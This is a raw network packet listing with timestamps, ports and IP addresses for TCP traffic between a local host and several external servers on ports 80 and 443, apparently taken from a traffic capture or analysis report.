Sep 2, 2022 14:02:20.551381111 CEST	443	49777	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.551480055 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551543951 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.551594973 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551613092 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551640034 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551651001 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.551667929 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551677942 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.551697016 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551702976 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.551716089 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.551726103 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551743031 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551755905 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.551764965 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.551774979 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551805019 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.551822901 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.551912069 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551928043 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551944971 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551955938 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.551971912 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.551980972 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.551994085 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.552007914 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552025080 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.552033901 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552053928 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552059889 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.552073002 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.552083969 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552098036 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.552109003 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552124023 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.552148104 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.552189112 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552206993 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552222967 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552232981 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.552251101 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.552269936 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.552314997 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552333117 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552381039 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.552393913 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552412033 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.552484989 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.573942900 CEST	80	49775	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.575428963 CEST	80	49781	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:20.575453997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575476885 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575499058 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575520992 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575584888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575582027 CEST	49781	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.575598955 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575604916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575627089 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575635910 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575659037 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575670004 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575690985 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575700998 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575721979 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575731039 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575751066 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575761080 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575782061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575792074 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575817108 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575824022 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575845003 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575855970 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575875998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575886965 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575907946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575917959 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575937986 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575948954 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.575970888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.575979948 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576011896 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576028109 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576050997 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576065063 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576082945 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576102972 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576123953 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576133966 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576154947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576165915 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576185942 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576196909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576217890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576229095 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576250076 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576275110 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576282978 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576294899 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576314926 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576325893 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576348066 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576370001 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576405048 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576409101 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576436043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576442957 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576463938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576483965 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576493979 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576514959 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576523066 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576550961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576558113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576581001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576590061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576611996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576622009 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576634884 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576653957 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576663971 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576683998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576694965 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576715946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576730013 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576761007 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.576926947 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.576981068 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.580488920 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580521107 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580549955 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.580565929 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580579996 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.580605984 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580619097 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.580645084 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.580658913 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580687046 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580699921 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.580727100 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.580738068 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580766916 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580777884 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.580805063 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.580837011 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580866098 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580879927 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.580904961 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.580919981 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580949068 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.580960989 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.580986023 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581000090 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581028938 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581041098 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581067085 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581079960 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581109047 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581120968 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581146002 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581159115 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581187010 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581203938 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581228971 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581243038 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581270933 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581284046 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581310987 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581322908 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581348896 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581362009 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581387043 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581404924 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581433058 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581448078 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581474066 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581487894 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581515074 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.581538916 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.581572056 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.587790966 CEST	49779	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.588006020 CEST	49781	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:20.594697952 CEST	80	49771	162.159.130.233	192.168.2.6
Sep 2, 2022 14:02:20.594839096 CEST	49771	80	192.168.2.6	162.159.130.233
Sep 2, 2022 14:02:20.610028028 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610081911 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610115051 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610137939 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610169888 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610260010 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610272884 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610315084 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610332966 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610354900 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610393047 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610438108 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610455036 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610496044 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610512972 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610555887 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610574961 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610625029 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610639095 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610676050 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610698938 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610766888 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610789061 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610837936 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610877037 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610919952 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.610937119 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.610972881 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611007929 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611052036 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611063957 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611087084 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611121893 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611166954 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611181021 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611212969 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611239910 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611285925 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611296892 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611324072 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611380100 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611429930 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611442089 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611468077 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611501932 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611541033 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611562967 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611630917 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611644030 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611671925 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611701965 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611742020 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611759901 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611802101 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.611818075 CEST	80	49769	107.182.129.251	192.168.2.6
Sep 2, 2022 14:02:20.611871004 CEST	49769	80	192.168.2.6	107.182.129.251
Sep 2, 2022 14:02:20.614176989 CEST	443	49780	91.103.219.221	192.168.2.6
Sep 2, 2022 14:02:20.614270926 CEST	49780	443	192.168.2.6	91.103.219.221
Sep 2, 2022 14:02:20.636323929 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.636377096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.636421919 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.636439085 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.636462927 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.636514902 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.636529922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.636568069 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.636590004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.636629105 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.636652946 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.636663914 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.636701107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.636740923 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.636766911 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.636780024 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.636818886 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.636918068 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.636989117 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637021065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637041092 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637061119 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637068987 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637094975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637104034 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637120962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637130022 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637150049 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637171984 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637198925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637207031 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637231112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637243032 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637260914 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637275934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637293100 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637311935 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637326956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637381077 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637384892 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637387037 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637388945 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637391090 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637392998 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637465954 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637492895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637509108 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637531042 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637552023 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637568951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637593985 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637635946 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637641907 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637645006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637676001 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637693882 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637713909 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637732983 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637737036 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637746096 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637763023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637779951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637797117 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637809992 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637816906 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637834072 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637849092 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637859106 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637866974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637896061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637902975 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637921095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637932062 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637947083 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637955904 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.637983084 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.637991905 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638011932 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638031006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638041973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638073921 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638098001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638108969 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638134956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638147116 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638175964 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:20.638200045 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638216019 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:20.638237000 CEST	80	49768	62.204.41.123	192.168.2.6
